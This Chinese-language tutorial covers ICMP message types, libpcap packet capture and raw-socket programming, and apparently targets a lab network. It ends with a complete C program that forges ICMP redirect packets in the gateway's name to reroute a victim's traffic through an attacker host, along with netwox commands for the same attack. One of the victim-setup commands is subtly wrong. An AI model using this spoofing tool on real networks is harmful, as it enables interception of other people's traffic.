一、ICMP协议简介
1.1 ICMP定义
ICMP是(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
1.2 报文结构
ICMP有很多种,每种的结构的不尽相同。但有固定的三种:TYPE(8bit)、CODE(8bit)和CHECKSUM(16bit)。TYPE指的是种类,如0表示echo,也就是我们熟知的ping,3表示不可达。CODE是代码,如3类型0代码表示网络不可达而1代码表示主机不可达。而由于ICMP是网络层中面向无连接的协议,故加入了CHECKSUM以防止其在网络传输过程中出错。
下面列出了一些:
TYPE CODE Description Query Error
0 0 Echo Reply——回显应答(Ping应答) x
3 0 Network Unreachable——网络不可达 x
3 1 Host Unreachable——主机不可达 x
3 2 Protocol Unreachable——协议不可达 x
3 3 Port Unreachable——端口不可达 x
3 4 Fragmentation needed but no frag. bit set——需要进行分片但设置不分片比特 x
3 5 Source routing failed——源站选路失败 x
3 6 Destination network unknown——目的网络未知 x
3 7 Destination host unknown——目的主机未知 x
3 8 Source host isolated (obsolete)——源主机被隔离(作废不用) x
3 9 Destination network administratively prohibited——目的网络被强制禁止 x
3 10 Destination host administratively prohibited——目的主机被强制禁止 x
3 11 Network unreachable for TOS——由于服务类型TOS,网络不可达 x
3 12 Host unreachable for TOS——由于服务类型TOS,主机不可达 x
3 13 Communication administratively prohibited by filtering——由于过滤,通信被强制禁止 x
3 14 Host precedence violation——主机越权 x
3 15 Precedence cutoff in effect——优先中止生效 x
4 0 Source quench——源端被关闭(基本流控制)
5 0 Redirect for network——对网络重定向
5 1 Redirect for host——对主机重定向
5 2 Redirect for TOS and network——对服务类型和网络重定向
5 3 Redirect for TOS and host——对服务类型和主机重定向
8 0 Echo request——回显请求(Ping请求) x
9 0 Router advertisement——路由器通告
10 0 Route solicitation——路由器请求
11 0 TTL equals 0 during transit——传输期间生存时间为0 x
11 1 TTL equals 0 during reassembly——在数据报组装期间生存时间为0 x
12 0 IP header bad (catchall error)——坏的IP首部(包括各种差错) x
12 1 Required options missing——缺少必需的选项 x
13 0 Timestamp request (obsolete)——时间戳请求(作废不用) x
14 Timestamp reply (obsolete)——时间戳应答(作废不用) x
15 0 Information request (obsolete)——信息请求(作废不用) x
16 0 Information reply (obsolete)——信息应答(作废不用) x
17 0 Address mask request——地址掩码请求 x
18 0 Address mask reply——地址掩码应答
我们发送一个ping包来仔细看看:
可以看到我们发送的ping包(request)Type类型是8,而收到的(Reply)则是0,数据报在IP层之上,但属于网络层,其数据部分被包上IP头部和以太网帧后在网络中传送。
1.4 ICMP重定向报文
可以看到TYPE为5的ICMP包为重定向包,那么他们是做什么的呢?先看下面一段话:
路由器之间会经常交换信息,以适应网络拓扑的变化,保持最优路由。但是主机一般不会这样做。所以,一条基本的原则是:主机会假设路由器的信息更权威,路由器总是对的。
主机在路由设置的时候,最开始只有一条默认的路由信息,然后当,接收到路由器通知它改变路由的时候,会更新自己的路由表。
如在下图中,PC想要连接某个服务器,其先发给了自己的默认网关R1,R1查询了自己的路由表,便将消息发送给了R2。但是这个过程是多余的,PC为什么不直接发送给R2呢?于是R1便发了一条重定向报文给PC,意思是你不要经过我了,直接发给R2吧。
由于主机与路由间有着信任关系,所以我们的重点便是利用这种信任关系了。如果我们模仿网关让PC重定向至我们的服务器会如何呢?答案很显然,就是PC更新了自己的路由表,所有的数据包会先发向我们的服务器。
1.5 利用netwox发送重定向包
- 在受害者机器上,利用cat /proc/sys/net/ipv4/conf/all/accept_redirects 1使其接受重定向报文
- 在受害者机器上,利用route -n查询网关地址
- 利用netwox 86 -g 重定向地址 -i 网关地址 指令来冒充网关发送重定向报文
下面我们利用pcap来进行自己的重定向程序的撰写:
二、pcap简单介绍与应用
2.1 pcap简介
pcap是一个抓包库,这个抓包库给抓包系统提供了一个高层次的接口。所有网络上的数据包,甚至是那些发送给其他主机的,通过这种机制,都是可以捕获的。它也支持把捕获的数据包保存为本地文件和从本地文件读取信息。而使用pcap需要以下的流程:
- 确认嗅探的接口,如Linux中的eth0
- 初始化pcap,告诉pcap需要嗅探的接口。使用文件句柄来命名区分不同的对话。
- 创建自己的规则集,保存在字符串中,“编译“并应用它。
- 规定循环方式并定义回调函数,回调函数在抓到满足我们的规则集的数据报时执行
- 结束会话
接下来我们按照这个步骤一步一步来设置一个简单的pcap程序:
2.2 写一个简单的pcap程序
2.2.1 嗅探接口
#include <stdio.h>
#include <pcap.h>
int main(int argc, char *argv[])
{
char *dev, errbuf[PCAP_ERRBUF_SIZE];
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
return(2);
}
printf("Device: %s\n", dev);
return(0);
}
我们这里使用了pcap_lookupdev函数,这个函数可以自动寻找接口,并储存在dev字符串中。可以看到这里传递了一个参数errbuf,若寻找过程出错会将错误信息传入该参数。
2.2.2 打开设备嗅探
#include <pcap.h>
...
pcap_t *handle;
handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == NULL) {
fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
return(2);
}
这里我们使用pcap_open_live函数,可以看到该函数返回一个句柄,并有五个参数,从左到右分别是:
- 上一节中找到的接口
- pcap捕获的最大字节数
- 是否接入混杂模式(是否嗅探与本机无关的流量)
- 读取超时时间(毫秒)
- 返回的错误信息
2.2.3 定义规则集
对流量进行过滤需要使用pcap_compile()和pcap_setfilter(),分别是编译和应用规则集。首先看看编译:
int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask)
可以看到编译函数共有五个参数,他们分别是:
- pcap句柄
- 存储过滤器的编译版本的位置的引用
- 规则集
- 是否优化表达式
- 指定过滤器适用的网络的网络掩码
而应用函数为:
int pcap_setfilter(pcap_t *p, struct bpf_program *fp)
第一个为句柄,第二个为编译版本同上二
来一个简单的例子:
#include <pcap.h>
...
pcap_t *handle; /* Session handle */
char dev[] = "rl0"; /* Device to sniff on */
char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */
struct bpf_program fp; /* The compiled filter expression */
char filter_exp[] = "port 23"; /* The filter expression ,目标端口23*/
bpf_u_int32 mask; /* The netmask of our sniffing device */
bpf_u_int32 net; /* The IP of our sniffing device */
//调用函数自动寻找网络掩码
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
fprintf(stderr, "Can't get netmask for device %s\n", dev);
net = 0;
mask = 0;
}
//打开句柄
handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == NULL) {
fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
return(2);
}
//编译过滤
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
//应用
if (pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
2.2.4 定义循环方式与回调函数
设置好了我们的过滤器,我们就要对数据报进行我们想要的处理了,首先我们要规则我们的循环方式,其主要的循环方式有两种,分别是pcap_next,这种方式是捕获单个数据报,而pcap_loop则是循环抓包,首先看看pcap_next:
//参数声明
struct pcap_pkthdr header;
const u_char *packet;
//函数调用
packet = pcap_next(handle, &header);
第一个参数是我们的会话句柄。 第二个参数是一个指向结构的指针,该结构保存有关数据包的一般信息,特别是它被嗅探的时间、此数据包的长度以及其特定部分的长度(例如,分片的情况)。pcap_next ()返回一个u_char指针,指向此结构描述的数据包。
而更多的用户会使用pcap_loop:
int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
此处有四个参数,他们分别是
- pcap句柄
- 循环次数(负值代码一直抓直到发生错误)
- 回调函数
- 希望向回调函数传递的参数
除了这两者,还有另外一个 pcap_dispatch(),用法与loop差不多,唯一取别是其只处理系统收到的第一批数据包。
明白了循环定义方式,接下来我们要定义我们的回调函数,为了满足pcap函数,我们需要以固定格式定义我们的回调函数,如下:
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);
第一个参数就是刚刚loop调用的最后一个参数;第二个包含了我们所嗅探的包的一些基本信息,如抓取时间和长度;第三个指向整个数据报。
三、row sorcket编程
3.1 row socket简介
首先,大家都知道socket编程,其中分为四类,分别是stream(使用TCP)、datagram(UDP)、row(原始套接字)和顺序数据包(Sequenced Packet)套接字。前两者使用的较多,而row socket可以让我们访问底层协议。下面将描述其简要流程。
3.2 创建socket
sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))
第一个参数:面向层次,PF_PACKET可以抓链路层的数据,PF_INET就是网络层
第二个参数:socket类型,我们是raw
都三个:为了接收所有分组,可以使用ETH_P_ALL,为了接收IP分组,可以使用ETH_P_IP,在第一个参数是PACKET类型时,我们有下面几种
ETH_P_IP 只接收目的mac是本机的IP类型数据帧 ETH_P_ARP - 只接收目的mac是本机的ARP类型数据帧
ETH_P_RARP 只接收目的mac是本机的RARP类型数据帧
ETH_P_PAE 接收目的mac是本机的802.1x类型的数据帧
ETH_P_ALL 接收目的mac是本机的所有类型数据帧,同时还可以接收本机发出的所有数据帧,混杂模式打开时,还可以接收到目的mac不是本机的数据帧
如果使用的是INET类型,则是IPPROTO_TCP、IPPROTO_UDP、IPPROTO_ICMP和IPPROTO_RAW
使用AF_INET时,我们所构造的报文从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段会被设置为我们调用socket()函数时传递给它的protocol字段。也即,如果没有开启IP_HDRINCL选项,那么内核会帮忙处理IP头部。如果设置了IP_HDRINCL选项,那么用户需要自己生成IP头部的数据,其中IP首部中的标识字段和校验和字段总是内核自己维护。可以通过下面代码开启IP_HDRINCL:
const int on = 1;
if(setsockopt(fd,SOL_IP,IP_HDRINCL,&on,sizeof(int)) < 0)
{
printf("set socket option error!\n");
}
3.3 写一个简单的ping程序
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/ip.h>
#include<netinet/ip_icmp.h>
struct sockaddr_in target, from;
int main(int argc, char ** argv){
int sockfd;
char sendbuff[8];
struct icmp * icmp;
//网络层,因为不需要修改IP地址
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
//填充ICMP包
icmp = (struct icmp*)sendbuff;
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
icmp->icmp_id=2;
icmp->icmp_seq=3;
printf("buff is %x.\n",*sendbuff);
if(argc!=2)
{
printf("Usage:%s targetip",argv[0]);exit(1);
}
if(inet_aton(argv[1],&target.sin_addr)==0){
printf("bad ip address %s\n",argv[1]);
exit(1);
}
while(1){
sendto(sockfd,sendbuff,8,0,(struct sockaddr *)&target,sizeof(target));
sleep(1);
}
close(sockfd);
return 0;
}
四、发送重定向包
#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include<sys/socket.h>
#include<unistd.h>
#include <sys/types.h>
#include<linux/ip.h>
#include<linux/icmp.h>
#include<string.h>
#define MAX 1024
#define SIZE_ETHERNET 14
const unsigned char *Vic_IP = "192.168.85.131";//攻击对象的ip
const unsigned char *Ori_Gw_IP = "192.168.85.2";//源网关ip
const unsigned char *Redic_IP = "192.168.85.129";//攻击者ipo
int flag = 0;
/*计算校验和*/
u_int16_t checksum(u_int8_t *buf,int len)
{
u_int32_t sum=0;
u_int16_t *cbuf;
cbuf=(u_int16_t *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2;
}
if(len)
sum+=*(u_int8_t *)cbuf;
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}
void ping_redirect(int sockfd,const unsigned char *data,int datalen)
{
char buf[MAX],*p;
struct ip_header *ip;
struct icmp_header *icmp;
int len,i;
//struct sockaddr_in dest;
struct packet{
struct iphdr ip;
struct icmphdr icmp;
char datas[28];
}packet;
//手动填充ip头
packet.ip.version = 4;
packet.ip.ihl = 5;
packet.ip.tos = 0;//服务类型
packet.ip.tot_len = htons(56);
packet.ip.id = getpid();
packet.ip.frag_off = 0;
packet.ip.ttl = 255;
packet.ip.protocol = IPPROTO_ICMP;
packet.ip.check = 0;
packet.ip.saddr = inet_addr(Ori_Gw_IP);//要伪造网关发送ip报文
packet.ip.daddr = inet_addr(Vic_IP);//将伪造重定向包发给受害者
//手动填充icmp头
packet.icmp.type = ICMP_REDIRECT;
packet.icmp.code = ICMP_REDIR_HOST;
packet.icmp.checksum = 0;
packet.icmp.un.gateway = inet_addr(Redic_IP);
struct sockaddr_in dest = {
.sin_family = AF_INET,
.sin_addr = {
.s_addr = inet_addr(Vic_IP)
}
};
//从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
//可以复制任何类型,而strcpy只能复制字符串
memcpy(packet.datas,(data + SIZE_ETHERNET),28);//包里数据
packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28);
//用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
//(发送端套接字描述符,待发送数据的缓冲区,待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,flag标志位,一般为0,数据发送的目的地址,地址长度)
sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest));
//printf("send\n");
}
//pcap_loop()不知道如何处理返回值,所以返回值为空,第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包(一个包包含许多属性,它不止一个字符串,而是一个结构体的集合,如一个TCP/IP包包含以太网头部,一个IP头部还有TCP头部,还有此包的有效载荷)这个u_char就是这些结构体的串联版本。pcap嗅探包时正是用之前定义的这些结构体
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int sockfd,res;
int one = 1;
int *ptr_one = &one;
//printf("here!\n");
//可以接收协议类型为ICMP的发往本机的IP数据包(通信的域,iPv4,套接字通信的类型,原始套接字,套接字类型,接收ICMP-》IP)
//sockfd是socket描述符,为了以后将socket与本机端口相连
printf("got a packet!");
if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
{
printf("create sockfd error\n");
exit(-1);
}
//包装自己的头部
//发送数据时,不执行系统缓冲区到socket缓冲区的拷贝,以提高系统性能,应为
/**
设置sockfd套接字关联的选 项
sockfd:指向一个打开的套接口描述字
IPPROTO_IP:指定选项代码的类型为IPV4套接口
IP_HDRINCL:详细代码名称(需要访问的选项名字)
ptr_one:一个指向变量的指针类型,指向选项要设置的新值的缓冲区
sizeof(one):指针大小
*/
res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one));
// if(res < 0)
// {
// printf("error--\n");
// exit(-3);
// }
ping_redirect(sockfd,packet,0);
}
int main(int argc, char *argv[])
{
char *dev, errbuf[PCAP_ERRBUF_SIZE];
dev = pcap_lookupdev(errbuf);//return a dev pointer
if (dev == NULL) {
fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
return(2);
}
printf("Device: %s\n", dev);
//If set the third op to false,will sniffer parket only form host.
pcap_t * device = pcap_open_live(dev, 65535, 1, 0, errbuf); //获得数据包捕获描述字函数(设备名称,参与定义捕获数据的最大字节数,是否置于混杂模式,设置超时时间0表示没有超时等待,errBuf是出错返回NULL时用于传递错误信息)
printf("Got a jubing!");
struct bpf_program filter;
char filterstr[50]={0};
sprintf(filterstr,"src host %s",Vic_IP); //将vic_ip按照%s的格式写入filterstr缓冲区
//过滤通信,哪些包是用户可以拿到的
//表达式被编译,编译完就可使用了
pcap_compile(device,&filter,filterstr,1,0); //函数返回-1为失败,返回其他值为成功
//device:会话句柄
//&filterstr:被编译的过滤器版本的地址的引用
//filterstr:表达式本身,存储在规定的字符串格式里
//1:表达式是否被优化的整形量:0:没有,1:有
//0:指定应用此过滤器的网络掩码
//设置过滤器,使用这个过滤器
pcap_setfilter(device,&filter);
//device:会话句柄
//&filterstr:被编译的表达式版本的引用
/* wait loop forever */
int id = 0;
printf("Start!");
pcap_loop(device, -1, getPacket, NULL);
//device是之前返回的pacp_t类型的指针,-1代表循环抓包直到出错结束,>0表示循环x次,getPacket是回调函数,最后一个参数一般之置为null
return 0;
}